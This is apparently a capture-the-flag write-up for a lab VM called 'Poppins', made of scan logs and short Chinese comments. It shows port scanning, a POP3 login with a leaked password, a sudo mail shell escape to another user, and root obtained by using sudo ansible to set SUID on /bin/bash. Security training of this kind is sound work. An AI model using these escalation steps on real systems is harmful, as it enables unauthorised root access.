[~] The config file is expected to be at "/root/.rustscan.toml" [!] File limitis lower than default batch size. Consider upping with--ulimit. May cause harm to sensitive servers [!] Your file limitis very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open192.168.56.252:22 Open192.168.56.252:80 Open192.168.56.252:110 Open192.168.56.252:995 [~] Starting Script(s) [~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-0402:07-0500 Initiating ARP Ping Scan at 02:07 Scanning 192.168.56.252 [1 port] Completed ARP Ping Scan at 02:07, 0.05s elapsed (1 total hosts) Initiating Parallel DNS resolution of1 host. at 02:07 Completed Parallel DNS resolution of1 host. at 02:07, 0.50s elapsed DNS resolution of1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 02:07 Scanning 192.168.56.252 [4 ports] Discovered open port 80/tcp on192.168.56.252 Discovered open port 22/tcp on192.168.56.252 Discovered open port 110/tcp on192.168.56.252 Discovered open port 995/tcp on192.168.56.252 Completed SYN Stealth Scan at 02:07, 0.02s elapsed (4 total ports) Nmap scan report for192.168.56.252 Host is up, received arp-response (0.00088s latency). Scanned at 2026-02-0402:07:41 EST for0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 110/tcp open pop3 syn-ack ttl 64 995/tcp open pop3s syn-ack ttl 64 MAC Address: 08:00:27:78:88:97 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in0.68 seconds Raw packets sent: 5 (204B) | Rcvd: 5 (204B)
┌──(root㉿kaada)-[/home/kali/Desktop] └─# ./rustscan -a 192.168.56.252 -- -sV -sC -A .----..-..-..----..---..----..---..--..-..-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I scanned ports so fast, even my computer was surprised.
[~] The config file is expected to be at "/root/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.56.252:22 Open 192.168.56.252:80 Open 192.168.56.252:110 Open 192.168.56.252:995 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sV -sC -A" on ip 192.168.56.252 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-04 02:08 -0500 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 02:08 Completed NSE at 02:08, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 02:08 Completed NSE at 02:08, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 02:08 Completed NSE at 02:08, 0.00s elapsed Initiating ARP Ping Scan at 02:08 Scanning 192.168.56.252 [1 port] Completed ARP Ping Scan at 02:08, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 02:08 Completed Parallel DNS resolution of 1 host. at 02:08, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 02:08 Scanning 192.168.56.252 [4 ports] Discovered open port 22/tcp on 192.168.56.252 Discovered open port 80/tcp on 192.168.56.252 Discovered open port 995/tcp on 192.168.56.252 Discovered open port 110/tcp on 192.168.56.252 Completed SYN Stealth Scan at 02:08, 0.03s elapsed (4 total ports) Initiating Service scan at 02:08 Scanning 4 services on 192.168.56.252 Completed Service scan at 02:08, 12.19s elapsed (4 services on 1 host) Initiating OS detection (try #1) against 192.168.56.252 NSE: Script scanning 192.168.56.252. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 02:08 Completed NSE at 02:08, 0.75s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 02:08 Completed NSE at 02:08, 1.76s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 02:08 Completed NSE at 02:08, 0.00s elapsed Nmap scan report for 192.168.56.252 Host is up, received arp-response (0.0051s latency). Scanned at 2026-02-04 02:08:30 EST for 17s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7(RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk= | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d(ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE= | 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb(ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-title: Mary Poppins - A Timeless Classic |_http-server-header: Apache/2.4.62 (Debian) 110/tcp open pop3 syn-ack ttl 64 Dovecot pop3d | ssl-cert: Subject: commonName=Poppies | Subject Alternative Name: DNS:Poppies | Issuer: commonName=Poppies | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-08-29T16:42:33 | Not valid after: 2035-08-27T16:42:33 | MD5: 77a4 3355 7780 8886 3706 4aa3 6317 3e10 | SHA-1: 7b74 675a 7bf9 4740 a85d 7414 5e36 e2a3 c7d8 22be | SHA-256: f3a5 35e4 8b5f a50f b511 ca2d 9dfb 5c8c 816d eb7b 8d1f e838 adac 97a7 62fb 283a | -----BEGIN CERTIFICATE----- | MIIDGTCCAgGgAwIBAgIUNc/f4xh9d2/jrzrOi7sBnHVjYw0wDQYJKoZIhvcNAQEL | BQAwEjEQMA4GA1UEAwwHUG9wcGllczAeFw0yNTA4MjkxNjQyMzNaFw0zNTA4Mjcx | NjQyMzNaMBIxEDAOBgNVBAMMB1BvcHBpZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IB | DwAwggEKAoIBAQC/VRuM4hUKOTjO8eYweSq9LW9LvwReUvNbxAv8CnQhIxVuuhXZ | QWWRnLtRVeNqMerqmtP9hzLFJCPvbZ37lsZcgFYbYP6nvhhEB/TIUun4hLNxLfDL | AKHuavEaZl3fVEra/qVpSkks2SLHMGvrS8ceCVRB8ByYVbGhKwywm2dcefla4fxT | 9J5bJl3+wJxCmU2LKw/+OB0fAdoBKBRS2gWdQZKS17HS71m1a3qI5IvA71x2uhrQ | OOfj8V7zj0HpnDIgmQiYOy6blHgrNQwYTvDnjknhUXyNVa97K3bGe+ytWZKaPUAU | ukBPN4uzlME1ov54PEHV4JvbHHI31+o2BeXxAgMBAAGjZzBlMB0GA1UdDgQWBBTw | RKSeUAtt4EyUhF2x6/TXDXRgLzAfBgNVHSMEGDAWgBTwRKSeUAtt4EyUhF2x6/TX | DXRgLzAPBgNVHRMBAf8EBTADAQH/MBIGA1UdEQQLMAmCB1BvcHBpZXMwDQYJKoZI | hvcNAQELBQADggEBAHve9/6m+XMLlqFeM1BlCTVD43fG/rvDPhDljFP5gVY54DDS | Jdv4M7LS19zsSjCHYg4inhyY+rgThg8+aVMdihr82b9yrVJbCvQwtOh631z6psen | m2TpeKZFLJQrW4GxNtzAKTYlmvQqPBIul7WsHYz1x0J/v2PIGVL+xTKBHOJZZ4P6 | 6ITASTDwHeKMMxE+aIVAS3+BTMuaXEjSSvpie8t0riuUjaX3FQGUAtKSOtGJyc8k | pEsLq+w2HcOXf13m4seNfy7uF9lVw+YqPLxxhf9rv1bLfP76zU+yZSF9LtMpmvwo | gnHh4R+ejI7CpsWdMGhQH5bfyn+SRmmZ042i2s0= |_-----END CERTIFICATE----- |_pop3-capabilities: PIPELINING SASL(PLAIN) TOP USER UIDL AUTH-RESP-CODE RESP-CODES CAPA STLS |_ssl-date: TLS randomness does not represent time 995/tcp open ssl/pop3 syn-ack ttl 64 Dovecot pop3d |_ssl-date: TLS randomness does not represent time |_pop3-capabilities: SASL(PLAIN) PIPELINING USER UIDL TOP AUTH-RESP-CODE RESP-CODES CAPA | ssl-cert: Subject: commonName=Poppies | Subject Alternative Name: DNS:Poppies | Issuer: commonName=Poppies | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-08-29T16:42:33 | Not valid after: 2035-08-27T16:42:33 | MD5: 77a4 3355 7780 8886 3706 4aa3 6317 3e10 | SHA-1: 7b74 675a 7bf9 4740 a85d 7414 5e36 e2a3 c7d8 22be | SHA-256: f3a5 35e4 8b5f a50f b511 ca2d 9dfb 5c8c 816d eb7b 8d1f e838 adac 97a7 62fb 283a | -----BEGIN CERTIFICATE----- | MIIDGTCCAgGgAwIBAgIUNc/f4xh9d2/jrzrOi7sBnHVjYw0wDQYJKoZIhvcNAQEL | BQAwEjEQMA4GA1UEAwwHUG9wcGllczAeFw0yNTA4MjkxNjQyMzNaFw0zNTA4Mjcx | NjQyMzNaMBIxEDAOBgNVBAMMB1BvcHBpZXMwggEiMA0GCSqGSIb3DQEBAQUAA4IB | DwAwggEKAoIBAQC/VRuM4hUKOTjO8eYweSq9LW9LvwReUvNbxAv8CnQhIxVuuhXZ | QWWRnLtRVeNqMerqmtP9hzLFJCPvbZ37lsZcgFYbYP6nvhhEB/TIUun4hLNxLfDL | AKHuavEaZl3fVEra/qVpSkks2SLHMGvrS8ceCVRB8ByYVbGhKwywm2dcefla4fxT | 9J5bJl3+wJxCmU2LKw/+OB0fAdoBKBRS2gWdQZKS17HS71m1a3qI5IvA71x2uhrQ | OOfj8V7zj0HpnDIgmQiYOy6blHgrNQwYTvDnjknhUXyNVa97K3bGe+ytWZKaPUAU | ukBPN4uzlME1ov54PEHV4JvbHHI31+o2BeXxAgMBAAGjZzBlMB0GA1UdDgQWBBTw | RKSeUAtt4EyUhF2x6/TXDXRgLzAfBgNVHSMEGDAWgBTwRKSeUAtt4EyUhF2x6/TX | DXRgLzAPBgNVHRMBAf8EBTADAQH/MBIGA1UdEQQLMAmCB1BvcHBpZXMwDQYJKoZI | hvcNAQELBQADggEBAHve9/6m+XMLlqFeM1BlCTVD43fG/rvDPhDljFP5gVY54DDS | Jdv4M7LS19zsSjCHYg4inhyY+rgThg8+aVMdihr82b9yrVJbCvQwtOh631z6psen | m2TpeKZFLJQrW4GxNtzAKTYlmvQqPBIul7WsHYz1x0J/v2PIGVL+xTKBHOJZZ4P6 | 6ITASTDwHeKMMxE+aIVAS3+BTMuaXEjSSvpie8t0riuUjaX3FQGUAtKSOtGJyc8k | pEsLq+w2HcOXf13m4seNfy7uF9lVw+YqPLxxhf9rv1bLfP76zU+yZSF9LtMpmvwo | gnHh4R+ejI7CpsWdMGhQH5bfyn+SRmmZ042i2s0= |_-----END CERTIFICATE----- MAC Address: 08:00:27:78:88:97(Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.98%E=4%D=2/4%OT=22%CT=%CU=32550%PV=Y%DS=1%DC=D%G=N%M=080027%TM= OS:6982F07F%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%T OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5= OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0% OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S= OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R= OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N% OS:T=40%CD=S)
Uptime guess: 27.906 days (since Wed Jan 7 04:24:41 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=263 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 5.12 ms 192.168.56.252
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 02:08 Completed NSE at 02:08, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 02:08 Completed NSE at 02:08, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 02:08 Completed NSE at 02:08, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.04 seconds Raw packets sent: 27 (1.982KB) | Rcvd: 19 (1.454KB)
┌──(root㉿kaada)-[/home/kali/Desktop] └─# dirsearch -u 192.168.56.252 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81. from pkg_resources import DistributionNotFound, VersionConflict
┌──(root㉿kaada)-[/home/kali/Desktop] └─# ssh bert@192.168.56.252 The authenticity of host '192.168.56.252 (192.168.56.252)' can't be established. ED25519 key fingerprint is: SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ This host key is known by the following other names/addresses: ~/.ssh/known_hosts:9: [hashed name] ~/.ssh/known_hosts:10: [hashed name] ~/.ssh/known_hosts:12: [hashed name] ~/.ssh/known_hosts:16: [hashed name] ~/.ssh/known_hosts:17: [hashed name] ~/.ssh/known_hosts:18: [hashed name] ~/.ssh/known_hosts:19: [hashed name] ~/.ssh/known_hosts:20: [hashed name] (25 additional names omitted) Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.252' (ED25519) to the list of known hosts. ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html bert@192.168.56.252's password: Linux Poppins 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have mail. This account is currently not available. Connection to 192.168.56.252 closed.
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nc 192.168.56.252110 +OK Dovecot (Debian) ready. user bert +OK pass jmac92777 +OK Logged in. stat +OK 11517 retr 1 +OK 1517 octets Return-path: <jane@poppins> Envelope-to: bert@poppins Delivery-date: Fri, 29 Aug 202506:33:49 -0400 Received:from jane by Poppins with local (Exim 4.94.2) (envelope-from <jane@poppins>) id 1urwQW-0001RQ-CD for bert@poppins; Fri, 29 Aug 202506:33:48 -0400 To: bert@poppins Subject: Urgent: Prod Server Credentials for Ansible Playbook MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 8bit Message-Id: <E1urwQW-0001RQ-CD@Poppins> From: jane@poppins Date: Fri, 29 Aug 202506:33:48 -0400
Hi Bert,
I've just finished the new Ansible playbook for the a-27 software deployment on our main production server, `web01.poppins.dsz`. It's ready to go.
The playbook contains some sensitive API keys, so I've encrypted the variables using Ansible Vault. You'll need to use the `ansible-vault decrypt` command to run it.
Here is the vault string you'll need to paste into the `secrets.yml` file.
``` $ANSIBLE_VAULT;1.1;AES256 66626631636362303332633238373338386634373434646532656534323230333938303331663630 3236333934663930343263363831353138323630393134320a366366393939373636386538336336 34353536656637313762323832643339633234656635326137633439303730373335386536306436 6335363366376634630a326563623737626337353436323565643365333061663661396337613731 3730 ``` Letme know if you hit any issues. We need toget this deployed by EOD.
┌──(root㉿kaada)-[/home/kali/Desktop] └─# ssh jane@192.168.56.252 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to"store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html jane@192.168.56.252's password: Linux Poppins 4.19.0-27-amd64#1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY,to the extent permitted by applicable law. jane@Poppins:~$ ls jane@Poppins:~$ ls /home bert jane michael winifred
jane@Poppins:~$ su michael Password: michael@Poppins:/home/jane$ cd ~ michael@Poppins:~$ ls michael@Poppins:~$ ls -al total 20 drwxr-xr-x 2 michael michael 4096Aug2909:59 . drwxr-xr-x 6 root root 4096Aug2906:13 .. lrwxrwxrwx 1 root root 9Aug2909:59 .bash_history -> /dev/null -rw-r--r-- 1 michael michael 220Apr182019 .bash_logout -rw-r--r-- 1 michael michael 3526Apr182019 .bashrc -rw-r--r-- 1 michael michael 807Apr182019 .profile michael@Poppins:~$ cd /jane bash:cd: /jane:No such file or directory michael@Poppins:~$ cd /home/jane michael@Poppins:/home/jane$ ls michael@Poppins:/home/jane$ ls -al total 20 drwxr-xr-x 2 jane jane 4096Aug2911:45 . drwxr-xr-x 6 root root 4096Aug2906:13 .. lrwxrwxrwx 1 root root 9Aug2909:59 .bash_history -> /dev/null -rw-r--r-- 1 jane jane 220Apr182019 .bash_logout -rw-r--r-- 1 jane jane 3526Apr182019 .bashrc -rw-r--r-- 1 jane jane 807Apr182019 .profile michael@Poppins:/home/jane$ cd .. michael@Poppins:/home$ sudo -l [sudo] password formichael: MatchingDefaults entries for michael on Poppins: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on Poppins: (winifred) PASSWD: /usr/bin/mail *
用户michael可以以winifred的身份免密执行mail
由于mail版本太老，gtfobins提供的利用方法不可行。
只能先尝试自己发邮件，然后逃逸到shell里面。
mail 命令提供了一个交互式界面（TUI）。在交互模式下，输入 ! 加上命令（如 !/bin/sh）可以调用底层 Shell 执行外部命令。
1 2 3 4 5 6 7 8 9
michael@Poppins:/home$ sudo -u winifred /usr/bin/mail -s "test" winifred</dev/null Null message body; hope that's ok michael@Poppins:/home$ sudo -u winifred /usr/bin/mail Mail version 8.1.2 01/15/2001. Type ? for help. "/var/mail/winifred": 1 message 1 new >N 1 winifred@poppins Wed Feb 04 02:50 18/558 test & !/bin/bash winifred@Poppins:/home$ ls bert jane michael winifred
1 2 3 4 5 6 7
winifred@Poppins:~$ sudo -l MatchingDefaults entries for winifred on Poppins: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User winifred may run the following commands on Poppins: (ALL) NOPASSWD: /usr/bin/ansible *
ansible这玩意搭建GOAD的时候刚用过，可以启动一个shell运行命令。
Ansible 设计初衷是管理和控制节点，其核心功能允许执行系统命令或 Shell 脚本。
给/bin/bash suid权限就行了。
1 2 3 4 5 6 7 8 9 10 11
winifred@Poppins:~$ sudo /usr/bin/ansible localhost -m shell -a 'sudo chmod u+s /bin/bash' [WARNING]: No inventory was parsed, only implicit localhost is available [WARNING]: Consider using 'become', 'become_method', and'become_user' rather than running sudo localhost | CHANGED | rc=0 >>
winifred@Poppins:~$ ls /bin/bash /bin/bash winifred@Poppins:~$ bash -p bash-5.0# id uid=1003(winifred) gid=1003(winifred) euid=0(root) groups=1003(winifred)
